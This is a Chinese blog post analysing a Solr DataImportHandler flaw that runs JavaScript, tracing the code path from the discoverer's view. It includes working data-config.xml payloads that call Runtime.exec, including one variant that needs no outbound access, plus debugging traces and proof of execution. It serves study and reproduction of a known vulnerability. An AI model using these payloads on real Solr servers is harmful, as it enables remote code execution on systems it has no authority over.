问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
论如何从发现者视角看 apache solr 的 js 代码执行漏洞
平时分析和复现了很多 cve,但是一遇到逻辑稍微复杂的,漏洞通告给的位置不是很详细的,代码 diff 很冗杂的,分析起来就会很困难,然后这时候其实就是需要耐心和思维逻辑了,这次花了接近一周的时间来了解这个漏洞,其实这个漏洞倒是不重要,就是逼着自己去锻炼思维和看官方文档的能力,让自己尽量接近发现者的视角,虽然这个漏洞很老,但是我还是感觉发现它的人真的很厉害,前后的分析过程也是花费了整整一周
论如何从发现者视角看 apache solr 的 js 代码执行漏洞(已发) ====================================== 前言 -- 平时分析和复现了很多 cve,但是一遇到逻辑稍微复杂的,漏洞通告给的位置不是很详细的,代码 diff 很冗杂的,分析起来就会很困难,然后这时候其实就是需要耐心和思维逻辑了,这次花了接近一周的时间来了解这个漏洞,其实这个漏洞倒是不重要,就是逼着自己去锻炼思维和看官方文档的能力,让自己尽量接近发现者的视角,虽然这个漏洞很老,但是我还是感觉发现它的人真的很厉害,前后的分析过程也是花费了整整一周 apahce solr 的简单介绍 ----------------- 参考<https://paper.seebug.org/1515/> 如果你需要挖掘这个 cve,那首先就要了解这个东西是啥,是干嘛的 Apache Solr 是一个开源的企业级搜索平台,主要用于构建高效的全文搜索和分析应用。它基于 Apache Lucene 库开发,提供了丰富的功能和高度可扩展的架构,广泛应用于电子商务、网站搜索、日志分析等领域。 当然这也是有个大概的印象 然后还需要对其中的一些关键组件进行了解 **Solr 中的 Core** 运行在 Solr 服务器中的具体唯一命名的、可管理、可配置的索引,一台 Solr 可以托管一个或多个索引。solr 的内核是运行在 solr 服务器中具有唯一命名的、可管理和可配置的索引。一台 solr 服务器可以托管一个或多个内核。内核的典型用途是区分不同模式(具有不同字段、不同的处理方式)的文档。 **collection 集合** 一个集合由一个或多个核心(分片)组成,SolrCloud 引入了集合的概念,集合将索引扩展成不同的分片然后分配到多台服务器,分布式索引的每个分片都被托管在一个 solr 的内核中(一个内核对应一个分片呗)。提起 SolrCloud,更应该从分片的角度,不应该谈及内核。 然后还有一些重要的配置文件,师傅们可以去看看 这一步是非常重要的 漏洞点寻找 ----- 这里就以这个漏洞为例子了,首先 js 引擎能够执行 java 代码 参考[https://xz.aliyun.com/t/8697?u\_atoken=933b6c4d9d69a084ad332396e3cfa185&u\_asig=1a0c381017308176319378654e003e&time\_\_1311=eqmxnD0QqWqNGODlhmq0%3DieDvdOXaD7whpD](https://xz.aliyun.com/t/8697?u_atoken=933b6c4d9d69a084ad332396e3cfa185&u_asig=1a0c381017308176319378654e003e&time__1311=eqmxnD0QqWqNGODlhmq0%3DieDvdOXaD7whpD) 感觉这个在实战中很常用 一个最基本的例子 ```php String test="function fun(a,b){ return a+b; }; print(fun(1,4));"; ScriptEngineManager manager = new ScriptEngineManager(null); ScriptEngine engine = manager.getEngineByName("js"); engine.eval(test); ``` 当然这样是根本没有什么漏洞的 但是它可以执行 java 的代码 ```php import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; public class Demo { public static void main(String[] args) throws ScriptException { String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec('calc')};"; ScriptEngineManager manager = new ScriptEngineManager(null); ScriptEngine engine = manager.getEngineByName("js"); engine.eval(test); } } ```  这个漏洞的根本原因也是它,那我们就需要考虑如何寻找这个点 因为看过比较多的代码,而 java 开发者门写代码也比较统一,所以可以全局查找 ```php ScriptEngine ``` 搜到一个类  然后看了一下没有什么卵用 然后再找找其他的 然后找到了一个类 ScriptTransformer ```php private void initEngine(Context context) { String scriptText = context.getScript(); String scriptLang = context.getScriptLanguage(); if (scriptText == null) { throw new DataImportHandlerException(SEVERE, "<script> tag is not present under <dataConfig>"); } ScriptEngineManager scriptEngineMgr = new ScriptEngineManager(); ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang); if (scriptEngine == null) { throw new DataImportHandlerException(SEVERE, "Cannot load Script Engine for language: " + scriptLang); } if (scriptEngine instanceof Invocable) { engine = (Invocable) scriptEngine; } else { throw new DataImportHandlerException(SEVERE, "The installed ScriptEngine for: " + scriptLang + " does not implement Invocable. Class is " + scriptEngine.getClass().getName()); } try { scriptEngine.eval(scriptText); } catch (ScriptException e) { wrapAndThrow(SEVERE, e, "'eval' failed with language: " + scriptLang + " and script: \n" + scriptText); } } ``` 可以看到内容可以控制 漏洞点回溯 ----- 我试过一步一步往上找,但是很难,这里我们就需要看官方文档了,我相信发现者也是查看官方文档的 官方文档的链接 <https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-Configurationindata-config.xml>  当然一看到这个很懵逼,是干嘛的?其实这个就是需要花时间去慢慢理解的 首先它是一个 transformer 是 data-config.xml 的一个属性 transformer :要应用于此实体的变压器。 其实就是用来处理数据的 然后光看这个其实没有什么大用,需要我们把这个文档仔仔细细的看一遍 其实这个配置就相当于数据库文件的配置,然后作用主要就是一些查询语句,处理查询后的内容 具体是如果操作呢? 官方文档也给出了方法  可以使用 full-import 来导入 到这里,我们已经能从 source 到 sink 了,但是中间就有很多细节了,这个过程就是不断的修改 paylaod 和不断调试的过程了 在 DataImporter 类中找到了我们的 public static final String FULL\_IMPORT\_CMD = "full-import"; 然后就是查找调用  然后找了赛选一下 是在 DataImporter 的handleRequestBody 方法中 ```php if (DataImporter.FULL_IMPORT_CMD.equals(command) || DataImporter.DELTA_IMPORT_CMD.equals(command) || IMPORT_CMD.equals(command)) { importer.maybeReloadConfiguration(requestParams, defaultParams); UpdateRequestProcessorChain processorChain = req.getCore().getUpdateProcessorChain(params); UpdateRequestProcessor processor = processorChain.createProcessor(req, rsp); SolrResourceLoader loader = req.getCore().getResourceLoader(); DIHWriter sw = getSolrWriter(processor, loader, requestParams, req); if (requestParams.isDebug()) { if (debugEnabled) { // Synchronous request for the debug mode importer.runCmd(requestParams, sw); rsp.add("mode", "debug"); rsp.add("documents", requestParams.getDebugInfo().debugDocuments); if (requestParams.getDebugInfo().debugVerboseOutput != null) { rsp.add("verbose-output", requestParams.getDebugInfo().debugVerboseOutput); } } else { message = DataImporter.MSG.DEBUG_NOT_ENABLED; } } else { // Asynchronous request for normal mode if(requestParams.getContentStream() == null && !requestParams.isSyncMode()){ importer.runAsync(requestParams, sw); } else { importer.runCmd(requestParams, sw); } } } ``` 然后需要检查一下 data-config.xml 配置是否生效 ```php <requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler"> <lst name="defaults"> <str name="config">data-config.xml</str> </lst> </requestHandler> ``` 调试分析+paylaod 构造 --------------- ### 基础细节调试 paylaod 是如何一步一步调试出的呢? 首先基本的应该怎么写,网上有很多了,随便找一个就 ok 的 首先配置文件由  这些部分组成 然后是配置的要求  ```php <dataConfig> <script><![CDATA[ function test(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success"); } ]]></script> <dataSource type="JdbcDataSource" name="aaa" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://host/dbname" user="db_username" password="db_password"/> <document> <entity name="sample" transformer="script:test" /> </document> </dataConfig> ``` 按理来说是需要配置数据库源的 直接一路来到我们处理相关请求的地方 栈堆如下 ```php runCmd:482, DataImporter (org.apache.solr.handler.dataimport) handleRequestBody:184, DataImportHandler (org.apache.solr.handler.dataimport) handleRequest:199, RequestHandlerBase (org.apache.solr.handler) execute:2566, SolrCore (org.apache.solr.core) execute:756, HttpSolrCall (org.apache.solr.servlet) call:542, HttpSolrCall (org.apache.solr.servlet) doFilter:397, SolrDispatchFilter (org.apache.solr.servlet) doFilter:343, SolrDispatchFilter (org.apache.solr.servlet) doFilter:1602, ServletHandler$CachedChain (org.eclipse.jetty.servlet) doHandle:540, ServletHandler (org.eclipse.jetty.servlet) handle:146, ScopedHandler (org.eclipse.jetty.server.handler) handle:548, SecurityHandler (org.eclipse.jetty.security) handle:132, HandlerWrapper (org.eclipse.jetty.server.handler) nextHandle:257, ScopedHandler (org.eclipse.jetty.server.handler) doHandle:1588, SessionHandler (org.eclipse.jetty.server.session) nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler) doHandle:1345, ContextHandler (org.eclipse.jetty.server.handler) nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler) doScope:480, ServletHandler (org.eclipse.jetty.servlet) doScope:1557, SessionHandler (org.eclipse.jetty.server.session) nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler) doScope:1247, ContextHandler (org.eclipse.jetty.server.handler) handle:144, ScopedHandler (org.eclipse.jetty.server.handler) handle:220, ContextHandlerCollection (org.eclipse.jetty.server.handler) handle:126, HandlerCollection (org.eclipse.jetty.server.handler) handle:132, HandlerWrapper (org.eclipse.jetty.server.handler) handle:335, RewriteHandler (org.eclipse.jetty.rewrite.handler) handle:132, HandlerWrapper (org.eclipse.jetty.server.handler) handle:502, Server (org.eclipse.jetty.server) handle:364, HttpChannel (org.eclipse.jetty.server) onFillable:260, HttpConnection (org.eclipse.jetty.server) succeeded:305, AbstractConnection$ReadCallback (org.eclipse.jetty.io) fillable:103, FillInterest (org.eclipse.jetty.io) run:118, ChannelEndPoint$2 (org.eclipse.jetty.io) runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy) run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread) runJob:765, QueuedThreadPool (org.eclipse.jetty.util.thread) run:683, QueuedThreadPool$2 (org.eclipse.jetty.util.thread) run:750, Thread (java.lang) ``` 然后进入方法 ```php public void doFullImport(DIHWriter writer, RequestInfo requestParams) { log.info("Starting Full Import"); setStatus(Status.RUNNING_FULL_DUMP); try { DIHProperties dihPropWriter = createPropertyWriter(); setIndexStartTime(dihPropWriter.getCurrentTimestamp()); docBuilder = new DocBuilder(this, writer, dihPropWriter, requestParams); checkWritablePersistFile(writer, dihPropWriter); docBuilder.execute(); if (!requestParams.isDebug()) cumulativeStatistics.add(docBuilder.importStatistics); } catch (Exception e) { SolrException.log(log, "Full Import failed", e); docBuilder.handleError("Full Import failed", e); } finally { setStatus(Status.IDLE); DocBuilder.INSTANCE.set(null); } } ``` 然后具体的数据导入部分一眼顶真是在 docBuilder.execute();方法 然后中间就是跟着调用者走 ```php getDataSourceInstance:375, DataImporter (org.apache.solr.handler.dataimport) getDataSource:100, ContextImpl (org.apache.solr.handler.dataimport) init:98, XPathEntityProcessor (org.apache.solr.handler.dataimport) init:77, EntityProcessorWrapper (org.apache.solr.handler.dataimport) buildDocument:434, DocBuilder (org.apache.solr.handler.dataimport) buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport) doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport) execute:233, DocBuilder (org.apache.solr.handler.dataimport) ``` 来到 getDataSourceInstance 方法 ```php public DataSource getDataSourceInstance(Entity key, String name, Context ctx) { Map<String,String> p = requestLevelDataSourceProps.get(name); if (p == null) p = config.getDataSources().get(name); if (p == null) p = requestLevelDataSourceProps.get(null);// for default data source if (p == null) p = config.getDataSources().get(null); if (p == null) throw new DataImportHandlerException(SEVERE, "No dataSource :" + name + " available for entity :" + key.getName()); String type = p.get(TYPE); DataSource dataSrc = null; if (type == null) { dataSrc = new JdbcDataSource(); } else { try { dataSrc = (DataSource) DocBuilder.loadClass(type, getCore()).newInstance(); } catch (Exception e) { wrapAndThrow(SEVERE, e, "Invalid type for data source: " + type); } } try { Properties copyProps = new Properties(); copyProps.putAll(p); Map<String, Object> map = ctx.getRequestParameters(); if (map.containsKey("rows")) { int rows = Integer.parseInt((String) map.get("rows")); if (map.containsKey("start")) { rows += Integer.parseInt((String) map.get("start")); } copyProps.setProperty("maxRows", String.valueOf(rows)); } dataSrc.init(ctx, copyProps); } catch (Exception e) { wrapAndThrow(SEVERE, e, "Failed to initialize DataSource: " + key.getDataSourceName()); } return dataSrc; } ``` 会实例化我们的 datasource,并且初始化,然后解析我们传入的参数  然后跟进初始化过程 其中在 createConnectionFactory 的时候就会报错 ```php public void init(Context context, Properties initProps) { resolveVariables(context, initProps); initProps = decryptPwd(context, initProps); Object o = initProps.get(CONVERT_TYPE); if (o != null) convertType = Boolean.parseBoolean(o.toString()); factory = createConnectionFactory(context, initProps); String bsz = initProps.getProperty("batchSize"); if (bsz != null) { bsz = context.replaceTokens(bsz); try { batchSize = Integer.parseInt(bsz); if (batchSize == -1) batchSize = Integer.MIN_VALUE; } catch (NumberFormatException e) { log.warn("Invalid batch size: " + bsz); } } ```  获取我们的 driver 并加载 但是问题就是根本没有这个类,所以根本加载不了,当然我们可以自己添加 mysql 的依赖,但是别的环境上这些都不是我们可以控制的,所以选择寻找别的 datasource ### datasource 的挑选 **FieldReaderDataSource** FieldReaderDataSource 通常与 XPathEntityProcessor 结合使用,以便通过 XPath 表达式解析 XML 数据。 它是解析 xml 字段的 ```php <dataConfig> <!-- 数据源配置 --> <dataSource name="db" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mydb" user="user" password="password" /> <dataSource name="f" type="FieldReaderDataSource" encoding="UTF-8" /> <document> <!-- 父实体,从数据库中读取 xmlData 字段 --> <entity name="dbEntity" dataSource="db" query="SELECT id, xmlData FROM docs"> <!-- id 字段 --> <field column="id" name="id" /> <!-- 子实体,处理 xmlData 字段中的 XML 内容 --> <entity dataSource="f" processor="XPathEntityProcessor" dataField="dbEntity.xmlData"> <!-- 从 XML 中解析出 title 和 content 字段 --> <field column="/doc/title" name="title" /> <field column="/doc/content" name="content" /> </entity> </entity> </document> </dataConfig> ``` 意味着还是需要 JdbcDataSource **URLDataSource** URLDataSource 是 Solr 数据导入机制(DIH)中的一种数据源类型,用于直接从外部 URL 读取数据并进行索引。通常用于从网页、REST API、RSS 源或 XML/JSON 文件等获取数据,而不是从数据库或文件系统中获取数据。 这个不需要其他的各种参数,感觉是不错的 其中我叫聪明的 GPT 给了一个例子 假设我们有一个 URL [http://example.com/data.xml,该链接返回](http://example.com/data.xml%EF%BC%8C%E8%AF%A5%E9%93%BE%E6%8E%A5%E8%BF%94%E5%9B%9E) XML 格式的数据,内容如下: ```php <items> <item> <title>Example Title 1</title> <description>This is example description 1.</description> </item> <item> <title>Example Title 2</title> <description>This is example description 2.</description> </item> </items> ``` ```php <dataConfig> <dataSource type="URLDataSource" /> <document> <!-- 主实体,从 URL 中读取数据 --> <entity name="urlEntity" url="http://example.com/data.xml" processor="XPathEntityProcessor" forEach="/items/item"> <!-- 使用 XPath 提取 title 和 description 字段 --> <field column="/item/title" name="title" /> <field column="/item/description" name="description" /> </entity> </document> </dataConfig> ``` 然后加上 ScriptTransformer ,最后构造出来的如下 ```php <dataConfig> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a"); } ]]></script> <dataSource type="URLDataSource" /> <document> <entity name="urlEntity" url="http://49.232.222.195/data.xml" processor="XPathEntityProcessor" forEach="/items/item" transformer="script:poc"> <field column="title" name="title_transformed" /> <field column="description" name="description" /> </entity> </document> </dataConfig> ``` 然后再次调试分析 这次同样的来到了 init 方法,不过是 URLDataSource 可以看到就是初始化一些基础的配置 ```php public void init(Context context, Properties initProps) { this.context = context; this.initProps = initProps; baseUrl = getInitPropWithReplacements(BASE_URL); if (getInitPropWithReplacements(ENCODING) != null) encoding = getInitPropWithReplacements(ENCODING); String cTimeout = getInitPropWithReplacements(CONNECTION_TIMEOUT_FIELD_NAME); String rTimeout = getInitPropWithReplacements(READ_TIMEOUT_FIELD_NAME); if (cTimeout != null) { try { connectionTimeout = Integer.parseInt(cTimeout); } catch (NumberFormatException e) { log.warn("Invalid connection timeout: " + cTimeout); } } if (rTimeout != null) { try { readTimeout = Integer.parseInt(rTimeout); } catch (NumberFormatException e) { log.warn("Invalid read timeout: " + rTimeout); } } } ``` 然后最后成功初始化也没有报错 然后继续解析我们的 xml 数据,来到 getData 方法 ```php getData:89, URLDataSource (org.apache.solr.handler.dataimport) getData:43, URLDataSource (org.apache.solr.handler.dataimport) initQuery:291, XPathEntityProcessor (org.apache.solr.handler.dataimport) fetchNextRow:232, XPathEntityProcessor (org.apache.solr.handler.dataimport) nextRow:212, XPathEntityProcessor (org.apache.solr.handler.dataimport) nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport) buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport) buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport) doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport) execute:233, DocBuilder (org.apache.solr.handler.dataimport) doFullImport:424, DataImporter (org.apache.solr.handler.dataimport) runCmd:483, DataImporter (org.apache.solr.handler.dataimport) lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport) run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327) run:750, Thread (java.lang) ``` getData 方法 ```php public Reader getData(String query) { URL url = null; try { if (URIMETHOD.matcher(query).find()) url = new URL(query); else url = new URL(baseUrl + query); log.debug("Accessing URL: " + url.toString()); URLConnection conn = url.openConnection(); conn.setConnectTimeout(connectionTimeout); conn.setReadTimeout(readTimeout); InputStream in = conn.getInputStream(); String enc = encoding; if (enc == null) { String cType = conn.getContentType(); if (cType != null) { Matcher m = CHARSET_PATTERN.matcher(cType); if (m.find()) { enc = m.group(1); } } } if (enc == null) enc = UTF_8; DataImporter.QUERY_COUNT.get().incrementAndGet(); return new InputStreamReader(in, enc); } catch (Exception e) { log.error("Exception thrown while getting data", e); throw new DataImportHandlerException(DataImportHandlerException.SEVERE, "Exception in invoking url " + url, e); } } ``` 就是和远程数据建立连接,然后读取数据,最后返回数据 返回数据之后就开始处理数据了 调用栈如下 ```php initEngine:87, ScriptTransformer (org.apache.solr.handler.dataimport) transformRow:52, ScriptTransformer (org.apache.solr.handler.dataimport) applyTransformer:222, EntityProcessorWrapper (org.apache.solr.handler.dataimport) nextRow:280, EntityProcessorWrapper (org.apache.solr.handler.dataimport) buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport) buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport) doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport) execute:233, DocBuilder (org.apache.solr.handler.dataimport) doFullImport:424, DataImporter (org.apache.solr.handler.dataimport) runCmd:483, DataImporter (org.apache.solr.handler.dataimport) lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport) run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327) run:750, Thread (java.lang) ``` 最后也是调用了 ScriptTransformer 的 transformRow 方法来处理数据 ```php public Object transformRow(Map<String, Object> row, Context context) { try { if (engine == null) initEngine(context); if (engine == null) return row; return engine.invokeFunction(functionName, new Object[]{row, context}); } catch (DataImportHandlerException e) { throw e; } catch (Exception e) { wrapAndThrow(SEVERE,e, "Error invoking script for entity " + context.getEntityAttribute("name")); } //will not reach here return null; } ``` 跟进 initEngine 方法 ```php private void initEngine(Context context) { String scriptText = context.getScript(); String scriptLang = context.getScriptLanguage(); if (scriptText == null) { throw new DataImportHandlerException(SEVERE, "<script> tag is not present under <dataConfig>"); } ScriptEngineManager scriptEngineMgr = new ScriptEngineManager(); ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang); if (scriptEngine == null) { throw new DataImportHandlerException(SEVERE, "Cannot load Script Engine for language: " + scriptLang); } if (scriptEngine instanceof Invocable) { engine = (Invocable) scriptEngine; } else { throw new DataImportHandlerException(SEVERE, "The installed ScriptEngine for: " + scriptLang + " does not implement Invocable. Class is " + scriptEngine.getClass().getName()); } try { scriptEngine.eval(scriptText); } catch (ScriptException e) { wrapAndThrow(SEVERE, e, "'eval' failed with language: " + scriptLang + " and script: \n" + scriptText); } } ``` 看到这也是终于的来到我们触发漏洞的地方了  可以看见我们的 POC 也是成功的传入了进去 ```php root@08ae28c54bf9:/tmp# ls hsperfdata_root jetty-0.0.0.0-8983-webapp-_solr-any-4881157502968994667.dir jetty-0.0.0.0-8983-webapp-_solr-any-8484391420778966491.dir start_1436351107128298018.properties ``` 解析文件后 ```php root@08ae28c54bf9:/tmp# ls a hsperfdata_root jetty-0.0.0.0-8983-webapp-_solr-any-4881157502968994667.dir jetty-0.0.0.0-8983-webapp-_solr-any-8484391420778966491.di ``` ### 不出网如何利用+Processor 选择 经过上面的 POC,虽然成功触发了漏洞,但是如果环境不出网如何利用,通过基础的调试分析,本地就是 transformer 处理,只有能走到这,那么触发漏洞就根本不是问题,可不可以不要 datasource 呢 尝试修改一下 paylaod 一开始尝试使用 ```php <dataConfig> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a"); } ]]></script> <document> <entity name="urlEntity" transformer="script:poc"> </entity> </document> </dataConfig> ``` 然后发现没有成功,然后调试查找原因 发现在 buildDocument 方法抛出了异常 ```php private void buildDocument(VariableResolver vr, DocWrapper doc, Map<String,Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx) { List<EntityProcessorWrapper> entitiesToDestroy = new ArrayList<>(); try { buildDocument(vr, doc, pk, epw, isRoot, parentCtx, entitiesToDestroy); } catch (Exception e) { throw new RuntimeException(e); } finally { for (EntityProcessorWrapper entityWrapper : entitiesToDestroy) { entityWrapper.destroy(); } resetEntity(epw); } } ``` 然后跟踪了一下在 epw.init(ctx)初始化的时候报错 ```php private void buildDocument(VariableResolver vr, DocWrapper doc, Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) { ContextImpl ctx = new ContextImpl(epw, vr, null, pk == null ? Context.FULL_DUMP : Context.DELTA_DUMP, session, parentCtx, this); epw.init(ctx); if (!epw.isInitialized()) { entitiesToDestroy.add(epw); epw.setInitialized(true); } ``` 然后跟进 init 方法 ```php public void init(Context context) { rowcache = null; this.context = context; resolver = (VariableResolver) context.getVariableResolver(); if (entityName == null) { onError = resolver.replaceTokens(context.getEntityAttribute(ON_ERROR)); if (onError == null) onError = ABORT; entityName = context.getEntityAttribute(ConfigNameConstants.NAME); } delegate.init(context); } ``` 经过不断尝试,这个 init 方法是一个重载的方法 后面是否加载数据源关键点是在于 delegate 这里我什么都没有输入默认的是  所以会加载数据,如果不需要进入 SqlEntityProcessor 的 init 方法那就好办了 看看还有没有  可以发现还是有很多的,至于如何调用到其他的 init 方法,然后他们之间的区别,我们可以看看官方文档   这里我们尝试使用 FileListEntityProcessor 它的一些参数 ```php fileName :(必需)用于标识文件的正则表达式模式 baseDir :(必需)基目录(绝对路径) recursive : Recursive listing or not. Default is 'false' excludes :排除文件名的正则表达式模式 newerThan :日期参数 。使用格式 (yyyy-MM-dd HH:mm:ss) 。它也可以是 datemath 字符串,例如:('NOW-3DAYS')。单引号是必需的。或者它可以是有效的 variableresolver 格式,如 (${var.name}) olderThan :日期参数 。规则与上述相同 biggerThan : A int param. smallerThan : A int param. rootEntity :此必须为 false(除非您只想索引文件名)直接位于 下的实体是根实体。这意味着,对于根实体发出的每一行,都会在 Solr/Lucene 中创建一个文档。但在这种情况下,我们不希望每个文件制作一个文档。我们希望以下实体 'x' 发出的每一行创建一个文档。因为实体 'f' 具有 rootEntity=false,所以它正下方的实体会自动成为根实体,并且由它发出的每一行都成为一个文档。 dataSource :如果使用 Solr1.3 则必须设置为 “null”,因为这样不会使用任何 DataSource。无需在 Solr1.4 中指定。这只是意味着我们不会创建 DataSource 实例。(在大多数情况下,只有一个DataSource(JdbcDataSource),所有实体都只使用它们。在 FileListEntityProcessor 的情况下,不需要 DataSource。 ``` 然后稍微看一下官方的例子 ```php <dataConfig> <dataSource type="FileDataSource" /> <document> <entity name="f" processor="FileListEntityProcessor" baseDir="/some/path/to/files" fileName=".*xml" newerThan="'NOW-3DAYS'" recursive="true" rootEntity="false" dataSource="null"> <entity name="x" processor="XPathEntityProcessor" forEach="/the/record/xpath" url="${f.fileAbsolutePath}"> <field column="full_name" xpath="/field/xpath"/> </entity> </entity> </document> </dataConfig> ``` 就能明白了 我们自己写一个 ```php <dataConfig> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a"); } ]]></script> <document> <entity name="test" fileName=".*xml" baseDir="/" processor="FileListEntityProcessor" transformer="script:poc" /> </document> </dataConfig> ``` 然后就开始调试分析 ```php init:116, FileListEntityProcessor (org.apache.solr.handler.dataimport) init:77, EntityProcessorWrapper (org.apache.solr.handler.dataimport) buildDocument:434, DocBuilder (org.apache.solr.handler.dataimport) buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport) doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport) execute:233, DocBuilder (org.apache.solr.handler.dataimport) doFullImport:424, DataImporter (org.apache.solr.handler.dataimport) runCmd:483, DataImporter (org.apache.solr.handler.dataimport) lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport) run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327) run:750, Thread (java.lang) ``` 顺利的来到了 FileListEntityProcessor 的 init 方法 ```php public void init(Context context) { super.init(context); fileName = context.getEntityAttribute(FILE_NAME); if (fileName != null) { fileName = context.replaceTokens(fileName); fileNamePattern = Pattern.compile(fileName); } baseDir = context.getEntityAttribute(BASE_DIR); if (baseDir == null) throw new DataImportHandlerException(DataImportHandlerException.SEVERE, "'baseDir' is a required attribute"); baseDir = context.replaceTokens(baseDir); File dir = new File(baseDir); if (!dir.isDirectory()) throw new DataImportHandlerException(DataImportHandlerException.SEVERE, "'baseDir' value: " + baseDir + " is not a directory"); String r = context.getEntityAttribute(RECURSIVE); if (r != null) recursive = Boolean.parseBoolean(r); excludes = context.getEntityAttribute(EXCLUDES); if (excludes != null) { excludes = context.replaceTokens(excludes); excludesPattern = Pattern.compile(excludes); } } ``` 走完并没有报错,只是获取了一些输入的值  可以看到我们输入的值 baseDir="/"就是列出目录下的文件,估计输入的匹配模式就是匹配目录下的文件了 初始化后在处理数据的时候会调用 FileListEntityProcessor 的方法 ```php nextRow:226, FileListEntityProcessor (org.apache.solr.handler.dataimport) nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport) buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport) ``` 跟进 nextRow 方法 ```php public Map<String, Object> nextRow() { if (rowIterator != null) return getNext(); List<Map<String, Object>> fileDetails = new ArrayList<>(); File dir = new File(baseDir); String dateStr = context.getEntityAttribute(NEWER_THAN); newerThan = getDate(dateStr); dateStr = context.getEntityAttribute(OLDER_THAN); olderThan = getDate(dateStr); String biggerThanStr = context.getEntityAttribute(BIGGER_THAN); if (biggerThanStr != null) biggerThan = getSize(biggerThanStr); String smallerThanStr = context.getEntityAttribute(SMALLER_THAN); if (smallerThanStr != null) smallerThan = getSize(smallerThanStr); getFolderFiles(dir, fileDetails); rowIterator = fileDetails.iterator(); return getNext(); } ``` 发现在 getFolderFiles(dir, fileDetails);抛出了异常导致程序停止了 我们看看发生了什么 ```php private void getFolderFiles(File dir, final List<Map<String, Object>> fileDetails) { // Fetch an array of file objects that pass the filter, however the // returned array is never populated; accept() always returns false. // Rather we make use of the fileDetails array which is populated as // a side affect of the accept method. dir.list(new FilenameFilter() { @Override public boolean accept(File dir, String name) { File fileObj = new File(dir, name); if (fileObj.isDirectory()) { if (recursive) getFolderFiles(fileObj, fileDetails); } else if (fileNamePattern == null) { addDetails(fileDetails, dir, name); } else if (fileNamePattern.matcher(name).find()) { if (excludesPattern != null && excludesPattern.matcher(name).find()) return false; addDetails(fileDetails, dir, name); } return false; } }); ``` 其实很好理解,就是遍历我们的 dir,然后符合一些条件的就 addDetails,但是我们的  匹配是xml 文件 而 dir 下没有 xml 文件,但是有一个 sh 文件  我们修改一下 paylaod ```php <dataConfig> <script><![CDATA[ function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/a"); } ]]></script> <document> <entity name="test" fileName=".*sh" baseDir="/" processor="FileListEntityProcessor" transformer="script:poc" /> </document> </dataConfig> ``` 然后再调试刚刚那一步  发现已经可以了 然后最后也是成功的到了执行 js 代码的调用 ```php initEngine:87, ScriptTransformer (org.apache.solr.handler.dataimport) transformRow:52, ScriptTransformer (org.apache.solr.handler.dataimport) applyTransformer:222, EntityProcessorWrapper (org.apache.solr.handler.dataimport) nextRow:280, EntityProcessorWrapper (org.apache.solr.handler.dataimport) buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport) buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport) doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport) execute:233, DocBuilder (org.apache.solr.handler.dataimport) doFullImport:424, DataImporter (org.apache.solr.handler.dataimport) runCmd:483, DataImporter (org.apache.solr.handler.dataimport) lambda$runAsync$0:466, DataImporter (org.apache.solr.handler.dataimport) run:-1, 1892718288 (org.apache.solr.handler.dataimport.DataImporter$$Lambda$327) run:750, Thread (java.lang) ``` ```php root@08ae28c54bf9:/tmp# ls a hsperfdata_root jetty-0.0.0.0-8983-webapp-_solr-any-4881157502968994667.dir jetty-0.0.0.0-8983-webapp-_solr-any-8484391420778966491.dir start_1436351107128298018.properties ``` 成功 最后 -- 这篇文章前后写了很久,虽然内容不多,但是也是尽力从发现者的视角来写了,如果单纯为了复现它,简单理清楚原理,其实半天可能就够了,不过想要技术的进步感觉还得思路到了这一步我们应该怎么办?这是发现一个新漏洞会经历的过程,虽然花费了一周的时间,但是感觉还是学到了很多很多 